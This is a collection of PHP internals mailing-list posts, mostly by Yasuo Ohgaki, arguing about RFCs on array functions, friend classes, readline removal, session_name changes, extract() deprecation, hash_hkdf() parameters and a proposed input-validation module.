> > CHU Zhaowei
> >
>
Since PHP supports null coalesce, it makes sense applying null coalesce by
default.
Many users do it for inputs. e.g $var = $_GET['var'] ?? null;
>
> Hmm. Returning null with no warning makes perfect sense for keys, since
> null is not a valid key so there's no ambiguity, but for values it seems
> problematic. On that ground I've decided to change my vote to No for the
> value functions, but keep the vote for Yes for the key functions.
> Someone who wants such behaviour could always do
> ($array[array_key_last($array)] ?? null), I guess.
>
When array_value_last($array) is needed, users would want null coalesce
almost always.
When user don't want it, they can
if (array_key_last($array) === NULL) { // Or if (!count($array)) {
die("hey, no value defined");
}
$var = array_value_last($array);
This usage would be rare and use of ($array[array_key_last($array)] ??
null) for null coalesce is pain.
It lacks API consistency as well.
Therefore, I voted "yes" for both.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] [VOTE] Class Friendship
On Sat, Jul 7, 2018 at 5:26 AM Dustin Wheeler wrote: > Hello, > > I've let this RFC linger for a long time and finally wrapped up the > remaining administrative items to put it to vote. This has been > discussed a few times in the past: > > https://externals.io/message/89732 > https://externals.io/message/90311 > > I would like to open the vote for an RFC to support Class Friendship in > PHP: > > https://wiki.php.net/rfc/friend-classes > > The vote ends 2018-07-13 21:00 UTC. > > "Friend" is powerful feature when classes are required to have "tight coupling", even if "tight coupling" is bad thing to have in general. Most obvious use case is "testing classes". Tests require tight coupling because tests have to know and test class internals to perform detailed tests. With "friend", we can remove A LOT of access methods solely for testing class. Less codes means less complexity. Having many codes for tests in production classes does not make much sense also. Having a lot of getter/setter methods for testing is pain and this fact leads developers to write inferior tests. "Friend" makes UNIT test and Contract Programming much simpler and easier. Therefore, it helps to develop more robust apps. Obvious risk is "friend abuse" where "tight coupling" isn't required nor useful. Big warning in the doc would be enough to prevent users from shooting their own foot. There are features like "friend", e.g. $GLOBALS I understand concerns, however simpler/cleaner production classes without test only methods and having detailed tests is worth to have. I would like to vote to "yes". However, RFC does not have benchmark result. Do you have some results? Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] Deprecate and remove continue targeting switch
On Mon, Jun 25, 2018 at 1:17 AM Nikita Popov wrote: > Hi internals, > > Another small deprecation for your consideration... > > https://wiki.php.net/rfc/continue_on_switch_deprecation > > Regards, > Nikita > This great improvement. IMO. Since the issue is incompatibility between current "continue" and "break", how about provide a tool replace "continue" to "break" where it is applicable. (Raise error for invalid "continue" usage also. This would be a bug most likely.) Then there wouldn't be compatibility issue anymore. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] [VOTE] Cleaning up unmaintained extensions
On Sat, Jun 30, 2018 at 11:42 AM, Tim Starling wrote: > On 30/06/18 11:44, Yasuo Ohgaki wrote: > > readline has license issue. I miss it but I wouldn't object for removing > it. > > Let's use libedit for CLI by default and always. > > Issue may be who is going to do this. If nobody volunteers, I may do > this. > > The discussion is about the readline extension, which includes support > for both libedit and the GNU Readline library. You can't use libedit > without the readline extension. > ./configure --without-readline makes CLI binary with broken "-a" support as you know. I'm suggesting libedit capability for CLI binary "without" readline module. i.e. Statically compiled libedit support in CLI binary. -- Yasuo Ohgaki
Re: [PHP-DEV] [RFC] [VOTE] Cleaning up unmaintained extensions
On Fri, Jun 29, 2018 at 2:16 PM, Tim Starling wrote: > On 20/06/18 05:46, Stanislav Malyshev wrote: > > Hi! > > > >> Hi! > >> > >> I would like to open the vote for the RFC about cleaning up the > >> unmaintained extensions: > >> > >> https://wiki.php.net/rfc/umaintained_extensions > >> <https://wiki.php.net/rfc/umaintained_extensions> > >> > >> The vote ends 2018-06-26 23:59 PDT. > >> > >> > >> Just to be sure consequence of "readline" removal. > >> > >> With CLI, "php -a" and "history" works without readline? > >> Does it work as dynamically loaded module? > > > > CLI can still use readline library. This would be about readline PHP > > extension. > > > > Actually, readline support in "php -a" is part of the extension. The > extension hooks the SAPI module. See PHP_MINIT_FUNCTION(cli_readline) > in readline_cli.c. > > Readline is the only extension in your list that I would be sad about > losing. I use it every day, I guess a lot of devs do. > readline has license issue. I miss it but I wouldn't object for removing it. Let's use libedit for CLI by default and always. Issue may be who is going to do this. If nobody volunteers, I may do this. -- Yasuo Ohgaki
Re: [PHP-DEV] Re: [RFC] orphan extensions cleanup
On Tue, Jun 19, 2018 at 9:37 PM, Johannes Schlüter wrote: > Hi, > > On Di, 2018-06-12 at 13:54 +0200, Christoph M. Becker wrote: > > > > https://wiki.php.net/rfc/umaintained_extensions > > > > I think it is *very* important to finally tackle this topic. Since > > it > > > It's a good subject to think about, but we should be careful not to end > with a process and then following it without thought and we have to > look at those things individually. > > For instance with readline this contains two things. For one the > `readline()` and related userspace functions, which I assume are not > used tht often, but also the interactive shell mode (`php -a` with > CLI+readline enabled) and I think the later is quie important to many > users and should see similar common responsibility as those key SAPIs, > main/ and so on. (I once moved that functionality from SAPI/cli to > ext/readline to satisfy distributors who didn't want to statically link > readline for license and related reasons) > > johannes CLI without readline isn't good. --with-libedit is there to replace readline lib. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] [VOTE] Cleaning up unmaintained extensions
On Mon, Jun 18, 2018 at 4:43 AM, Stanislav Malyshev wrote: > Hi! > > I would like to open the vote for the RFC about cleaning up the > unmaintained extensions: > > https://wiki.php.net/rfc/umaintained_extensions > > The vote ends 2018-06-26 23:59 PDT. > Just to be sure consequence of "readline" removal. With CLI, "php -a" and "history" works without readline? Does it work as dynamically loaded module? Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Better types without runtime checking
On Mon, Jun 11, 2018 at 11:32 PM, Rowan Collins wrote: > Hi Rasmus, > > While I agree with your general point regarding consistency, I just want to > take issue with sentence: > > On 11 June 2018 at 15:12, Rasmus Schultz wrote: > > > Hack made some very regrettable decisions in this area, and ultimately > > those features were useful at design-time only, for IDE-support - but > > we have php-doc for that purpose, and in my opinion, adding those > > features before (or unless) we're willing/able to also make them work > > consistently with the language, does more harm than good. > > > > As far as I know, every other language which has added type annotations to > a dynamically typed language has done so either using an offline tool > (treating them like compiler warnings), or as a debug-only run-time flag > (treating them like assertions). The creator of "gradual typing", which is > explicitly the basis of Python's type annotations, and at least implicitly > used by many other languages, specifically stated that it was intended to > be checked at compile-time, not run-time [1]: > Making "type hint" a "true type hint" is useful with DbC as well as static analysis tools. Perhaps, declare(strict_types=-1); // -1 indicates assert() type check. i.e. asset is disabled, no type checks. How it should behave with object would be debatable. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Re: undocumented session_name() change
On Sun, May 27, 2018 at 1:16 AM Christoph M. Becker
wrote:
> On 25.05.2018 at 12:28, Christoph M. Becker wrote:
>
> > if ($_GET['action'] == 'newsession') {
> >$session_name = getNewSessionName(); // user-defined function
> >session_name($session_name);
> >session_regenerate_id();
> >header('Location: ' ….); // restart script to use new session name
> > and id
> >exit;
> > }
> >
> > Why even call session_name($session_name) here? To my knowledge, this
> > is a no-op in this case (assuming a session has already been started).
>
> I have to correct myself. Actually, the call to session_regenerate_id()
> did change the session name (i.e. the cookie etc.) I'm still not
> convinced, that this BC break should be reverted.
>
Session module uses a few INI settings to work. As we know, INI values are
stored in modules global structure.
Since session works uses INI values as "Parameters" for module and its
submodules
while it is active, modifying these INI values caused number of unwanted
misbehaviors/crashes. i.e. It's side effect of changing globals.
These INI values must not be changed in the first place, but session module
didn't have proper internal state management. Since these side effects won't
be problem unless users abuse/misuse them, it was left until 7.2.
7.2 protects module globals (PS(session_name) is one of them) to prevent
abuse/misuse. Any function calls that cause side effects raise ERROR as
described in UPGRADING.
Since 7.2 prohibits harmful calls, users protected from some of very
hard to debug problems, e.g.
- Works in a environment, but not in other
- Works mostly, but fails sometimes
Even when users are affected by this change, there are ways to write code
that work in any PHP versions.
session_name('new_name') can be called while session is inactive in this
case. i.e. session_commit(); session_name('new_name'); session_start();
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] Better types without runtime checking
On Tue, Jun 5, 2018 at 4:23 PM Rudolph Gottesheim
wrote:
> There's always a lot of talk about types in the PHP community.
> Specifically, many developers want property types, generics, function
> signature types, union and intersection types, and more. Those talks
> (and RFCs) always end with the same result: "We can't do it because
> performance issues."
>
> Has there ever been a discussion about adding some of those features
> syntactically, but ignoring them during runtime? At least until someone
> finds a performant way to check them at runtime. That way we could have
> advanced type checking in our editors at least.
>
> The idea will sound familiar to TypeScript users. It works great for
> that language.
>
> I'm excited to hear your opinions.
>
DbC style has no performance issue at all. In addition, you can perform
much better validation than simple type checks.
function f($username) {
assert(is_string($username) && preg_match('\\A[a-z]\\z', $username);
}
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] Deprecation of uniqid()
On Fri, May 11, 2018 at 9:34 PM, Alice Wonder <al...@librelamp.com> wrote:
> slightly better if block
>
> if($more_entropy) {
> sodium_increment($nonce);
> $x = hexdec(substr(bin2hex($nonce),0,12));
> $return = $return . substr($x, 2, 1) . '.' . substr($x, -8);
> }
>
> Obvious patterns in the "more entropy" but the output in only suppose to
> be unique, not random.
The most important issue in current uniqid() is it could have duplicate
even with $more_entropy=true, since it has
+
structure.
System time could be adjusted backwards by ntp, etc.
However changing output by default as follows is enough for it.
+
uniqid() is one of the most abused function in PHP.
I don't have strong opinion against uniqid() deprecation, though.
Regards,
--
Yasuo Ohgaki
Re: [PHP-DEV] Re: A validator module for PHP7
On Tue, Mar 27, 2018 at 8:03 PM, Crocodile <crocodil...@gmail.com> wrote: > It's almost always the case that you need to provide a meaningful feedback > about what exactly went wrong, rather then to just say "Failed!" While > simplicity is nice and you cannot overrate value of validation, this whole > thing is pretty much useless to me personally without this ability. Also, I > don't think it's a good idea to mix validation of scalar values, arrays and > even multiple arrays, in a single function. > There are 3 types of validations in general. There are only 3 types of inputs. Explaining them need lots of word as well as for other fundamentals/principles related to this. https://blog.ohgaki.net/computer-programming-fundamentals-and-basics-input-validation You are referring to "Business Logic Validation" which needs feedback to users in case they send incorrect values. "App Level Input Validation" does not require feedback other than "You sent really bad request. This has been reported to admins." Therefore, App Level Input Validation can validate ALL inputs at once and there is no good reason not to do this. Btw, you can use the validator for a single value validation as well. It also able to disable Exception so that one can use it for "Business Logic Validations" as well. https://github.com/yohgaki/validate-php-scr/tree/master/src/examples Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Re: A validator module for PHP7
On Tue, Mar 27, 2018 at 8:03 PM, Crocodile <crocodil...@gmail.com> wrote: > It's almost always the case that you need to provide a meaningful feedback > about what exactly went wrong, rather then to just say "Failed!" While > simplicity is nice and you cannot overrate value of validation, this whole > thing is pretty much useless to me personally without this ability. Also, I > don't think it's a good idea to mix validation of scalar values, arrays and > even multiple arrays, in a single function. > It seems you underrate validations. It's a fundamental requirement for programs to work correctly. Fundamental requirement: Programs can only work correctly with valid inputs. There are countless reason why one should validate ALL inputs other than this. Almost nobody does this now, even if it is "fundamental" requirement. How you would solve this? -- Yasuo Ohgaki yohg...@ohgaki.net
[PHP-DEV] Re: A validator module for PHP7
On Mon, Sep 4, 2017 at 3:33 PM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > Hi all, > > I spent a little time for a new input validation module. It's not totally > new module, but is based on Filter module's validation filter improvement > RFC in many ways. [1] > > As all of us knew already, input validation is the most important practice > in secure coding. [2][3] Yet, we don't provide usable feature out of box. > Sadly, almost all apps do not have proper input validation at trust > boundary. Unless we improve filter's validation, we need usable basic > validator by default. IMO. > > Since I didn't get much feedbacks during the RFC discussion, I cannot tell > what part is disliked. I guess too much features in filter is one reason. > Another is messed up codes/features by providing both "filter" and > "validation". > > Validator for PHP7 (validate module) gets rid of unneeded features. It > only has features for basic PHP data type validations. Validation > rule(spec) array is flexible enough. Almost any types of inputs could be > handled by multiple and nested validation rules. > > Except some minor features like overflow checks, most planned features are > implemented. > > https://github.com/yohgaki/validate-php > > Although the code is based on filter module's code, it's almost full > rewrite except validation logic came from filter. Please consider this as > under development module. > Feedbacks are appreciated. > > Regards, > > [1] https://wiki.php.net/rfc/add_validate_functions_to_filter > [2] https://www.securecoding.cert.org/confluence/display/ > seccode/Top+10+Secure+Coding+Practices > [3] https://www.owasp.org/index.php/OWASP_Secure_Coding_ > Practices_-_Quick_Reference_Guide > > -- > Yasuo Ohgaki > yohg...@ohgaki.net > I thought it would be nice to have PHP script version for Validate PHP. It a lot easier to modify API as needed. So I spend few hours last weekend. https://github.com/yohgaki/validate-php-scr Caution, I just wrote it and didn't debug it yet. However, it is good enough to play with, I suppose. API differs a little. This has more simplified parameter structure. Suggestions and comments are appreciated. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Better Session Management by OTP encryption
Hi Dominic, On Sun, Jan 21, 2018 at 11:10 AM, Dominic Guhl <dominic.g...@posteo.de> wrote: > The PHP documentation on Session Data Deletion: > > > Obsolete session data must be inaccessible and deleted. Current > session module does not handle this well. > Session managers must remove obsolete sessions for security reasons. PHP session module does not handle this well. There was RFC. https://wiki.php.net/rfc/precise_session_management I think those who opposed this RFC does not understand security implications/risks w/o this proposal. This can be done by user code as well. Some of people insisted this kind of feature should be implemented in frameworks even though no frameworks did not implemented it. It's been 5 years since the RFC is created. All of PHP frameworks and apps should have implemented proper session management by now. If not, we are better to implement it in the session module. IMO. Current OWASP session management cheat sheet https://www.owasp.org/index.php/Session_Management_Cheat_Sheet#Session_Expiration defines idle/absolute/renewal timeouts. PHP cannot handle any of them properly. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Mailing list moderation
Hi Nikita, On Tue, Jan 2, 2018 at 7:49 PM, Nikita Popov <nikita@gmail.com> wrote: > Hi, > > This mail is going to both the systems group and internals mailing list. > > I would like to request a mailing list suspension for the users > tonymars...@hotmail.com and li...@rhsoft.net, who have recently been > aggressively derailing the "Scalar Pseudo-type" thread, despite requests to > moderate their participation both in that thread, and on a number of > previous instances -- this is certainly not the first time these two users > have converted an RFC discussion into a dick measuring contest. > > If these users cannot be suspended, I would like to request specific > instructions under what circumstances users can be suspended from the > internals list, and what procedures need to be followed to achieve this. > > Regards, > Nikita > At first, I don't understand at all what the issue here at all. However, I'm -1 on this in general. Who are going to decide what kind of discussion is correct or wrong? The last discussion with you about HKDF was total nonsense. I think you are great programmer, but you were ignorant regarding secure key derivations. You don't even know what FS (Forward Secrecy), nor PFS (Perfect Forward Secrecy) that are very basic idea for secure key derivations. Without FS, it is considered very vulnerable today. PFS is mandatory for many applications. i.e. Slat parameter must be the 1st tional parameter at least, or better, it should be a required parameter. I might be +1 depending on the behavior, but -1 as long as their attitude is acceptable. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] Deprecate and remove case-insensitive constants?
Hi Christoph, On Tue, Sep 12, 2017 at 10:04 PM, Christoph M. Becker <cmbecke...@gmx.de> wrote: > On 12.09.2017 at 14:52, François Laupretre wrote: > > > What about making PHP 8 100% case-sensitive (except true/false) ? If we > > announce it years in advance, it is possible, IMO. > > I don't think we can do that. Consider, for instance, ext/gd where all > functions are actually in lower case, but I've seen a lot of code > written in pascal or camel case to make the functions better readable, e.g. > > imageCreateFromJpeg() vs. imagecreatefromjpeg() > Consistent function names at the same time, perhaps? https://wiki.php.net/rfc/consistent_function_names -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] [RFC] Deprecate the extract function in PHP 7.3
Hi all,
On Sat, Sep 16, 2017 at 2:50 AM, Sara Golemon <poll...@php.net> wrote:
> On Fri, Sep 15, 2017 at 1:35 PM, <ilija.tov...@me.com> wrote:
> > The `extract` function takes an associative array and
> > puts it into the local symbol table.
> > http://php.net/manual/en/function.extract.php
> >
> > I seriously doubt the usefulness of this function,
> > especially looking at the potential risks. The fact
> > that overwriting the local variables is the default
> > behaviour doesn’t make it any better. I suggest
> > deprecating it in PHP 7.3 and removing it in 8.
> >
> Preface: I despise extract() as well. It's breaks assumptions for
> both the developer and the runtime. I save some of my frowniest of
> faces for extract().
>
> That said...
>
> > I can see it’s usefulness in this case.
> > But wouldn’t it be better to implement this by hand
> > in these rare cases (it’s 3 lines of code) instead of
> > encouraging the pollution of the symbol table by
> > unknown input? It’s also clearer since people who
> > don’t know the `extract` function probably don’t
> > expect it to mutate the local symbol table.
> >
> Let's be clear on what that looks like: foreach ($data as $key =>
> $value) { $$key = $value; }
>
> This is SO MUCH WORSE for several reasons, no least of all what
> happens when $data contains keys named 'data', 'key', or 'value'.
>
> I'd like to kill extract(), but it does have a reason for being, and I
> couldn't in any good conscience support removing it without a
> replacement that's at least marginally better.
>
The security issue regarding extract() are:
- Unintended variable creation. e.g. $admin_flag = ture
- Unintended variable modification. e.g. $admin_flag = ture
Instead of removing/deprecating extract(),
- Add EXTR_EXCEPTION flag that throws exception for overwriting.
(There are many flags, but no error/exception flag. This isn't good)
- Require prefix. (User may still set '' as prefix)
We may do:
- Add EXTR_EXCEPTION flag in 7.3
- Make all three parameters required parameter set EXTR_ECEPTION a default
flag in 8.0
With this way, we'll have better compatibility with older PHP and better
security with extract().
https://github.com/php/php-src/blob/master/ext/standard/array.c#L2459
Since it checks valid flags, we wouldn't have compatibility for current
versions unless
released versions code is modified for it.
Regards,
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
On Fri, Sep 15, 2017 at 6:06 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
> On Wed, Sep 13, 2017 at 3:24 PM, Joe Watkins <pthre...@pthreads.org>
> wrote:
>
>> This proposal was rejected.
>>
>> 6 months has not passed since it was rejected.
>>
>> There will be no vote on these proposals in the near future.
>>
>> Please stop.
>>
>> Joe
>>
>
> Joe, you have great responsibility as RM for ridiculous hash_hkdf() API.
> Current hash_hkdf() API is perfectly makes sense for you. I understand it.
>
This means you think following key derivation is perfectly OK.
$new_key = hash_hmac('sha256', $my_secret_password, '');
Just my .02
--
Yasuo Ohgaki
yohg...@ohgaki.net
Re: [PHP-DEV] Re: hash_hkdf() signature and return value
On Wed, Sep 13, 2017 at 3:24 PM, Joe Watkins <pthre...@pthreads.org> wrote: > This proposal was rejected. > > 6 months has not passed since it was rejected. > > There will be no vote on these proposals in the near future. > > Please stop. > > Joe > Joe, you have great responsibility as RM for ridiculous hash_hkdf() API. Current hash_hkdf() API is perfectly makes sense for you. I understand it. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
On Tue, Sep 12, 2017 at 1:04 PM, Stephen Reay <php-li...@koalephant.com>
wrote:
>
> On 12 Sep 2017, at 04:07, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>
> Stephen,
>
> On Tue, Sep 12, 2017 at 12:22 AM, Stephen Reay <php-li...@koalephant.com>
> wrote:
>
>>
>> On 11 Sep 2017, at 17:41, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>>
>> Hi Stephen,
>>
>> On Mon, Sep 11, 2017 at 6:37 PM, Stephen Reay <php-li...@koalephant.com>
>> wrote:
>>
>> On 11 Sep 2017, at 15:42, Yasuo Ohgaki <yohg...@ohgaki.net> wrote:
>>
>> It seems you haven't try to use filter module seriously.
>> It simply does not have enough feature for input validations.
>> e.g. You cannot validate "strings".
>>
>>
>> Yasuo,
>>
>> I’ve asked previously what your proposal actually offers over the filter
>> functions, and got no response, so please elaborate on this?
>>
>>
>>
>> Can you show a concrete example that cannot be validated in user land
>> currently, using the filter functions as a base?
>>
>>
>> FILTER_VALIDATE_REGEXP is not good enough simply.
>> PCRE is known that it is vulnerable to regex DoS still. (as well as
>> Oniguruma)
>> Users should avoid regex validation whenever it is possible also to avoid
>> various
>> risks.
>>
>> In addition, current filter module does not provide nested array
>> validation
>> array key validation, etc. It's not true validation neither. It does not
>> provide
>> simple length, min/max validations. It does non explicit conversions (i.e.
>> trim), etc.
>> Length, min/max validation is mandatory validation if you would like to
>> follow
>> ISO 27000 requirement.
>>
>> Regards,
>>
>> --
>> Yasuo Ohgaki
>> yohg...@ohgaki.net
>>
>>
>>
>> So, you still didn’t actually provide an example. I *guess* you’re
>> talking about character class validation or something else equally
>> “simple”, because I can’t imagine what else would be a common enough case
>> that you’d want to have built-in rules for, and that you wouldn’t
>> internally use RegExp to test anyway.
>>
>
> Your request is like "Devil's Proof". Example code that cannot do things
> with existing API cannot exist with meaningful manner. It can be explained
> why it cannot, though. Try what "validate" string validator can do,
> Then you'll see.
>
> $input = [
> 'defined_but_should_not_exist' => 'Developer should not allow unwanted
> value',
> '_invalid_utf8_key_should_not_be_allowed_' => 'Developer should
> validate key value as well',
> 'utf8_text' => 'Validator should be able to allow UTF-8 and validate its
> validity at least',
> 'default_must_be_safe' => 'Crackers send all kinds of chars. CNTRL chars
> must not be allowed by default',
> 'array' => [
>'complex' => 1,
>'nested' => 'any validation rule should be able to be applied',
>'array' => 1,
>'key_should_be_validated_also' => 1,
>'array' => [
>'any_num_of_nesting' => 'is allowed',
> ],
> ],
> 'array_num_elements_must_be_validated' => [
> "a", "b", "c", "d", "e", "f", "and so on", "values must be able to
> be validated as user wants",
> ],
> ];
>
> There is no STRING validation filter currently. This fact alone,
> it could be said "filter cannot do string validation currently".
>
> List of problems in current validation filter
> - no STRING validator currently
> - it allows any inputs by default
> - it does not allow multiple rules that allows complex validation rules
> for string
> - it does not have callback validator
> - it does not have key value validation (note: PHP's key could be binary)
> - it does not validate num of elements in array.
> - it cannot forbids unwanted elements in array.
> - it cannot validate "char encoding".
> - it does not enforce white listing.
> - and so on
>
> These are the list that "filter" cannot do.
>
> Ok so we can’t use filter_var() rules to validate that a string field is
>> an Alpha or AlphaNum, between 4 and 8 characters long (technically you
>> could pass mb_strlen() to the INT filter with {min,max}_range options set
>> to get the length validation, but I’ll grant you that *is* kind of a crappy
>> workaround right now)
>>
>> Why not stop trying to re-invent every single feature already present in
>> PHP (yes, I’ve been pay
[PHP-DEV] Re: hash_hkdf() signature and return value
secret_ always by design. Password hashing requires entropy amplification(stretching), but key derivation does not require amplification by HMAC/cryptographic hash characteristics. Even with weakest password, password(IKM) is protected and OKM is secure because HKDF's "Salt" is designed to be "secret" or "non secret" as explicitly described in the RFC. Secret salt makes keys are secured. This is obvious from the algorithm, i.e. Remember how hash_hmac() works again. Lastly, Application of HKDF: https://tools.ietf.org/html/rfc5869#section-4 states in the first sentence. - HKDF is intended for use in a wide variety of KDF applications. - It is obvious that HKDF is general purpose KDF. The RFC even explains non KDF usage as CSPRNG. My Comments: >From the algorithm alone, it is very clear to me that HKDF is expecting weak keys, and salt is used for additional entropy/complexity for key security, and salt should be used always. It was very difficult for me to understand what Nikita and Andrey were insisting and referring, because their discussion was very confusing and makes none of sense with HKDF RFC.(and HMAC, crypto hash characteristics) Current API - encourages insecure misuse, "Salt" is mandatory always with the exception when salt cannot be used. - extremely insecure, weak keys are vulnerable without "secret Salt" i.e. Who would use hash_hmac() without keys? In addition, it has completely unnecessary API inconsistency with respect to other hash functions. Nikita and Andrey, don't you have something to say about this mess, do you? IMO, you should ask to the list by yourself so that your ridiculous hash_hkdf() API will not be kept forever because of your misunderstanding. If I were you, I would not leave behind such shameful API that would be laughed at by everyone. RMs, if I were you, I will consider fixing the API seriously. Promoting insecure _key_ derivations forever is nonsense. This would be the last post for this issue, unless there are people who still don't understand what HKDF is. Regards, P.S. No one really read the internet RFC, this is another issue... Session security and input data security discussion have similar pattern. I insists based on standards and/or guidelines, others just ignore standards/guidelines/security because they don't use/are not familiar with them. If it is simply a matter of preference, it would be acceptable. However, in case of security related issues, this is not a healty technical discussion at all. -- Yasuo Ohgaki yohg...@ohgaki.net On Wed, Sep 6, 2017 at 10:15 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > Hi all, > > This is the last recommendation for hash_hkdf[1]. In fact, > this would be the last chance to fix because we'll have 7.2 soon. > The issue is secure usage and API consistency. > > Currently hash_hkdf() has following signature: > > hash_hkdf(string $algo , string $ikm [, int $length = 0 [, > string $info = '' [, string $salt = '' ]]] ) > > These are rationals behind recommendation. There are many, but > please read on. > > === Parameter Order === > > HKDF[2] algorithm is: > 1. General purpose key derivation function as per RFC 5869 > 2. "$salt" parameter is a "pre-shared _KEY_" in many cases as mentioned > RFC 5869 > 3. "$salt" (or preshared key) is very strongly recommended for security > season as per RFC 5869 > 4. Supplying salt that the same length of input key does not affect > performance as per RFC 5969 > 5. "$info" is what makes HKDF useful, but it's less important as > described in RFC 5869 > 6. "$length" is truly an optional parameter for very specific encryption > algorithm or usage. > > Rationale for change: > 1. Key derivations without secondary key ($salt) does not make sense when > secondary key could be available. HKDF is designed for best possible > key > security with the key. Not using secondary key ($salt) simply > downgrades > key security without no reason. i.e. HKDF performance is the same > when $salt has the same as hash is set. > 2. HKDF is based on HMAC. When $info has no use, HMAC would be the best > choice for it. i.e. $newkey = hash_hmac($ikm, $key); > 3. It does not make sense violating RFC recommendations for a RFC > implementation. > > From these facts and reasons, $salt, $info and $length parameter order and > requirement should be changed from > > string $algo , string $ikm [, int $length = 0 [, string $info = '' [, > string $salt = '' ]]] > > to > > string $algo , string $ikm , string $salt, string $info = '' [, > int $length = 0 ] > Note: Users can set empty string if they really don't need $salt and/or > $info. > > Conclusion: > This way, users would have better
Re: [PHP-DEV] A validator module for PHP7
Hi, On Tue, Sep 12, 2017 at 6:54 AM, li...@rhsoft.net <li...@rhsoft.net> wrote: > > > Am 11.09.2017 um 23:39 schrieb Yasuo Ohgaki: > >> On Tue, Sep 12, 2017 at 6:35 AM, li...@rhsoft.net but you still fail >> to explain why in the world you don#t try to >> enhance the existing filter functions instead invent a new beast >> leading finally to have the existin filter functions and your new >> stuff which share the same intention >> >> >> Why don't you read previous RFC and the vote result? >> https://wiki.php.net/rfc/add_validate_functions_to_filter >> > > and why do you not take the contra arguments against how do you think > things should be done into your considerations and believe bikeshed it with > a different name will achieve anything? > If you understand the difference, there are huge different with respect to behaviors. Previous RFC was halfway finished "validation", it's far from "true validation". it's basially the same as your hash_hkdf() related stuff - you just ignore > everybody and cntinue to ride a dead horse up to a level where even pure > readers of the internals list just have enough and only think "stop it guy" hash_hkdf() discussion comes to conclusion finally if you haven't noticed it. It is clear now that Nikita and Andrey does not understand the algorithm ( including underlying HMAC and cypto hash characteristics) and RFC. See the relevant thread for conclusion. (The latest one) In short, current hash_hkdf() is not only violates RFC 5869, but also encourages extremely insecure usage, has unnecessarily incompatible API with respect to other hash functions. On Tue, Sep 12, 2017 at 6:56 AM, li...@rhsoft.net <li...@rhsoft.net> wrote: > and i am suprise that you act *that* stubborn and obviously think when you > give the bike a new name someone will buy it instead really consider the > contras of previous proposals "Validate" and "filter improvement" fundamentally different proposal in fact. i.e. Validate does true white list validation, while filter improvement is halfway. Almost all apps do not implement "proper application level input validation" yet, even if all of security guidelines/standards recommends/requires it. What do you mean by "stubborn"? Would you like me to try to remove "input validations" from security guidelines or standards? If you seriously think so, you're the one should try. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi, On Tue, Sep 12, 2017 at 6:39 AM, Yasuo Ohgaki <yohg...@ohgaki.net> wrote: > Hi, > > On Tue, Sep 12, 2017 at 6:35 AM, li...@rhsoft.net <li...@rhsoft.net> > wrote: > >> >> Am 11.09.2017 um 23:07 schrieb Yasuo Ohgaki >> >>> On Tue, Sep 12, 2017 at 12:22 AM, Stephen Reay <php-li...@koalephant.com >>> > >>> >>>> So, you still didn’t actually provide an example. I *guess* you’re >>>> talking >>>> about character class validation or something else equally “simple”, >>>> because I can’t imagine what else would be a common enough case that >>>> you’d >>>> want to have built-in rules for, and that you wouldn’t internally use >>>> RegExp to test anyway. >>>> >>> >>> Your request is like "Devil's Proof". Example code that cannot do things >>> with existing API cannot exist with meaningful manner. It can be >>> explained >>> why it cannot, though. Try what "validate" string validator can do, >>> Then you'll see. >>> >>> There is no STRING validation filter currently. This fact alone, >>> it could be said "filter cannot do string validation currently". >>> >>> List of problems in current validation filter >>> >> but you still fail to explain why in the world you don#t try to enhance >> the existing filter functions instead invent a new beast leading finally to >> have the existin filter functions and your new stuff which share the same >> intention >> >> > Why don't you read previous RFC and the vote result? > https://wiki.php.net/rfc/add_validate_functions_to_filter > I'm a bit surprised by the fact there are "filter improvement" supporters. You should have participated in the previous RFC discussion. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
Hi, On Tue, Sep 12, 2017 at 6:35 AM, li...@rhsoft.net <li...@rhsoft.net> wrote: > > Am 11.09.2017 um 23:07 schrieb Yasuo Ohgaki > >> On Tue, Sep 12, 2017 at 12:22 AM, Stephen Reay <php-li...@koalephant.com> >> >>> So, you still didn’t actually provide an example. I *guess* you’re >>> talking >>> about character class validation or something else equally “simple”, >>> because I can’t imagine what else would be a common enough case that >>> you’d >>> want to have built-in rules for, and that you wouldn’t internally use >>> RegExp to test anyway. >>> >> >> Your request is like "Devil's Proof". Example code that cannot do things >> with existing API cannot exist with meaningful manner. It can be explained >> why it cannot, though. Try what "validate" string validator can do, >> Then you'll see. >> >> There is no STRING validation filter currently. This fact alone, >> it could be said "filter cannot do string validation currently". >> >> List of problems in current validation filter >> > but you still fail to explain why in the world you don#t try to enhance > the existing filter functions instead invent a new beast leading finally to > have the existin filter functions and your new stuff which share the same > intention > > Why don't you read previous RFC and the vote result? https://wiki.php.net/rfc/add_validate_functions_to_filter Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
Re: [PHP-DEV] A validator module for PHP7
